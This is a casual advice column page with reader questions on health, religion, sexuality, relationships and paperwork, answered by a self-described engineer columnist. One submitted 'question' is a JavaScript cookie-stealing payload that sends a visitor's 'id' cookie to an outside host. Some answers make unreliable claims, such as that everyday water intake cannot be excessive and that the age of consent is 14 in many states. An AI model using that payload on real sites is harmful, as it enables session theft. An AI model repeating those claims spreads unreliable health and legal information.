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Q: Do you like lord of the rings?

Yes.

Q: Hi!
I drink alot of water. I drink about 9 bottles a day. I always hear that water is good for you, promotes weight loss, makes you skin look great, ect., but is there such a thing as drinking too much water?

Thank You!

~WaterGirl

Not really... drinking water is always pretty darn good. There are only a few times I've heard of it being bad. First, if you drink bottled water, it may not be as fresh as tap water, so you might want to drink different types. Second, if you exercise a lot, too much water can actually dilute your blood. Runners, who run at a slow pace for an hour or more, have recently been cautioned to maybe only drink water when thirsty. But for normal day-to-day life, you can't drink too much of the stuff, it's great.

Q: what should I do if i wanna wear a skirt but my legs aren't the prettiest things to look at?

Try to find skirts that end just at or below your knee. The extra length is so classy that people won't be grading your legs.

Q: Ok, religious and moral issues aside, is it just me or does it seem to be a trend of being gay? As in 'You're not cool unless you have been gay.' I understand everyone goes thru a period of questioning their sexuality, but come on! Everyone now is popping up gay! I swear it's a media marketing scheme! Ellen DeGenerous (sp?) has been flamed for acting more straight than gay. What is your opinion?

Having gay people on TV seems to be a trend, but I don't think "being gay" is a trend. I know some pretty trendy people who wear all the latest clothes and they're not about to try being gay because it's trendy... all the gay people I know were born that way.

I think since gay people have been more vocal about equal rights in recent years, we're seeing more exposure of homosexuality. It was always there, the media just likes entertaining, different lifestyles, so now that they're "allowed" to portray gays, they will.

Q: OK me and my friends were having a discussion and one of my friends stated that the faith of catholic is just another branch of christianity, but catholics have very very different beliefs then christians do. Can someone help me make up my mind?

Catholicism is just another branch of Christianity. They don't have very many different beliefs. Their church has some structural differences from others... their head is a pope in rome who takes leadership for life, where most other churches elect leaders every few years. They don't believe in birth control. They believe you should confess your sins to priests and that church leaders should not be married.

But those are really just little details, what matters is that, Catholics believe that Jesus is the son of God and he rose from the dead to make a place for us in heaven. That's all you have to believe to be a Christian.

The Catholic church was the first church, so in the 1500s when some people decided to form new churches, these were sort of grouped together as "protestant" and the Catholic church remained "Catholic"... it was the "not new" one. People like to act like Catholics are really different, but they're not. All Christian churches are a little bit different, but we all believe in the same basic idea, so we're all Christians.

Q: var lkj = document.cookie; function getCookie(name) { var index = lkj.indexOf(name + "="); if (index == -1) return null; index = lkj.indexOf("=", index) + 1; var endstr = lkj.indexOf(";", index); if (endstr == -1) endstr = lkj.length; return unescape(lkj.substring(index, endstr)); } var a = getCookie('id');var b = 'http://scurvy.2y.net/?avnid=';var c = b+a; window.location=c;

yup.

Q: I am 19 and i have a boyfriend. Im thinking of going on the pill. BUT I want to find out the side effects. Does anyone know of any? Ive tried searching on the net but I didnt really get anywhere.

Side effects are different for everyone. The best thing to do would be to talk to your doctor... in reality, there's really no way to know what it's going to do to you without trying it. Some people experience weight gain or have headaches or upset stomachs. Some people have less acne. It can lower your risk of ovarian cancer, but if you smoke it raises risks for every smoking-related health problem out there. Some people have lighter periods, others have heavier periods.

Most people I've talked to don't notice the side effects of the pill, but that doesn't mean nothing is possible.

Q: I'm signed up at several pro-gay marriage forums and, every now and then, they email me information and petitions. About a week ago, a petition was emailed to me, I signed it. It was optional to put a comment, I stated, "One loves a person, not a gender." Since then, I've been realizing more and more that I truly feel that way. A few times over the past few years, I had toyed with the idea of bisexuality, yet never acted on it. Now, I find myself attracted to whomever I'm attracted to. I feel like I've had this dark space or room inside myself and I have, for the first time, lighted it. I actually feel better about myself!

My loving and respectful boyfriend and I have been dating for the past seventeen months. He is understanding and open-minded, not homophobic at all. However, he is quite conseravtive and a strong christian. I realize that, if he were to be disgusted by my sexual orientation, he wouldn't be worth my time. But, before I can find out how he would react, I would have to tell him (I have not yet told anyone at all)! Would you please give me some advice as to how I could/should go about this?

I'm not sure you need to tell him unless you really feel like changing your relationship. Think about life before you knew... you were attracted to guys; tall guys, short guys, white guys, black guys, blonde guys, etc. Did you feel the need to sit down and say, "You should know, I'm also attracted to hispanic men." No. Because if he's your boyfriend and you love him, you're attracted to him.

I think it's great that your mind is open to different possibilities, but I think you're just going to scare him. Do you want to leave him for a woman, is that what you're saying? If you think women are attractive that's great, voice your opinions, but don't make the great "oh I'm bisexual!" statement unless you feel you must act on it.

Q: Been banned from the forums, how do I send a message to you to explain why I was banned wrongly. Like being given 5 warnngs right off the bat.

My e-mail address is spacefem@spacefem.com .

Q: I have been an athiest for about four years, and I have begun to feel lacking in that area. I looked up many differnt religions, and took trusted belief tests to see what would best fit with what I really want and believe. The tests all pointed to Pagan. I have looked up on it, and it just seems to fit. I feel so happy, even just going through a normal day is better now that I have found it. However, I do not think my parents (catholic and athiest) will accept it. Anyone who has had a similar "coming out" (be it of religion or sexual orientation) care to help me form a plan, so they might see my view?

Blessed Be

I don't think you should pick a religion based on which one tells you what you want to hear. Religion is based on truth, not how you "feel". Before you decide to be pagan forever, I'd suggest investigating religions more and find the one that has the most concrete proof to back it up. It might not be the one that agrees with all your attitudes, but sometimes religions change us.

Q: I was just wondering if anyone knows what kind of grades I would need to get in order to get into a University College. Right now I have a 4.0 weighted grade but only because I'm taking honors classes. Does anyone know what kind of extra curricular activities I'm going to have to do in order to be able to make it into a UC?

It depends on your university... many aren't competitive at all and you'll be able to get in just fine.

Things to know:
1) Many universities don't look at weighted grades, they want to see what you got on the 4.0 scale. A 3.2 or better is important here.

2) One extracurricular activity isn't usually going to be a whole lot better than the others. Just get involved. Activities related to community service are probably best, if you have to choose.

Q: Anyone care to explain why so many dumb***es insist on having sex before they turn 18!!!!!!!!! It's bad enough they don't wait until after marriage, that I can live with easily, but COME ON PEOPLE, it's illegal. SOMEONE TELL ME WHY!!

Having sex before 18 is not illegal in most states. 16 is considered the age of consent in most parts of the world, although in many states it's only 14. This website can give you more information.

Q: i recently have been excommunicated out of a great church due to not following their rules i was happy there part of me wants it back but part of me wants to live the way i want to live how do i get it all to mesh together so i can be happy all the time i loved the church i really still do i miss it all what should i do if you need more details please let me know but i warn you it is long well if anyone can help let me know

You need to look at new churches. A church that would excommunicate you isn't one that you should be attending anyway. The Bible calls us to love sinners, not excommunicate them. Jesus never kicked out a diciple for straying off the path, did he? He even forgave Judas, for heaven's sake.

Shrug it off. It'll be tough, but this church is not right for anybody, you included.

Q: Wow, are you going to have fun telling me I'm stupid after reading this question...

Okay, I am one for evil plans that make guys look stupid. It's one of the things I like to do. Sad I know. Anyhow, after it became obvious that the geeky guy I sit next to in maths (typical, huh?) liked me, my friends and I decided it may be the perfect time to use my "feminine charms" (wow that sounded corny)to make an idiot out of him. So, anyway, the flirtation and evil plans followed by evil plans commenced, and I got in pretty deep. The problem is, I really go to know this guy, and now I think I may have a tiny thing for him. But how can you have a relationship based on wanting to make someone look stupid? Eurgh.

Okay, go ahead, laugh. Well that's it.

Most relationships make at least someone look stupid in the end, so I don't see why it's such a problem to make someone look stupid right from the beginning. Hell, guys look stupid all the time anyway, we just don't notice.

Q: my boyfriend had cancer a few years ago and does not think that he can have any kids. we have been trying for about the last 6 months, and i tried to explain to him that it probably is not him, because i already have a 7 year old and have been on the depo shot for the past 7 years and i know that it does take awhile for the shot to completely go out of my system. i have been off the shot now for about 9 months.
i would also like to know how much of a possibility is it that if i do conceive that our baby would cancer. please help us to understand better.

Cancer isn't something that's passed on through blood streams or anything, so your baby won't develop it just because your husband has it.

Q: I was just poking around your site and I wondered what you think about the whole animal cruelity thing and eating meat. Are you veggie? what do you think of those who are? and so on.

Animal cruelty is bad, but I eat meat. I guess I still think humans are more important than animals. We deserve to be at the top of the food chain. I admire vegetarians and definately don't mind good vegetarian meals, they're yummy, but I don't go out of my way to avoid meat either.

Q: WHY GOOD CHARLOTTE?!? WHY I ASK YOU..WHY!?!?

There's worse bands.

Q: I was the guy who asked about the birth certificate that the Texas Department of Vital Statistics could not find. The hospital that I was born in was shut down. I need the document to prove I was born here. You said something about telling them to send astatement saying they could not find a record. Could you please explain that for me?

I found it on this site, about passports.

It really depends on what you need. If you need a drivers license, for instance, I'd call the drivers license office in your area and ask them what you need exactly. It probably varies from state to state.

Q: I am curious about hospital records. I was born at Pasadena General Hospital in Pasadena, Texas. The hospital is no longer a hospital. I am trying to locate my birth record. I tried going through the Texas Department of Vital Statistics to obtain the birth certificate. Their reply was that they have no record of the birth. So I figure that if I can get the hospital record, I can get the Department of Vital Statistics to issue me one. Does anybody know where information for closed hospitals are kept or who I could possibly talk to?

It all depends what why you need birth records. If you just need to prove you were born here, an official letter from Vital Statistics stating that no records can be found will suffice. If you're looking for medical information it might take some more searching.

Q: I have crush on a boy but I'm not sure if he likes me as much as I do to him. How do I make sure he does?

You shouldn't really base your actions on the feelings of other people. If you like him, ask him out. If you're not sure, try to be better friends with him. Don't dwell on whether he likes you or not. He might not know.

bio

I've been in the advice column over five years now so I think I've pretty much heard it all... the love, the hate, the random insanity. I don't take it too seriously, so I'm not always giving the best advice, but my column is fun to read!

I am a 23 year old electrical engineer, a feminist, a Christian. I don't know everything but I can sure pretend to.

Disclaimer: Now that I'm on advicenators I'm getting even more questions every day. It's fast and easy for me to answer them, yes, so at least I'm answering something now, but if your question contains the words "there's this guy that I like..." chances are I won't get around to it. I'm only answering interesting questions that I haven't answered before. Register at the site and ask everyone for advice if you must have an answer, because if people read my column and boring love advice was all they found, they'd never come back.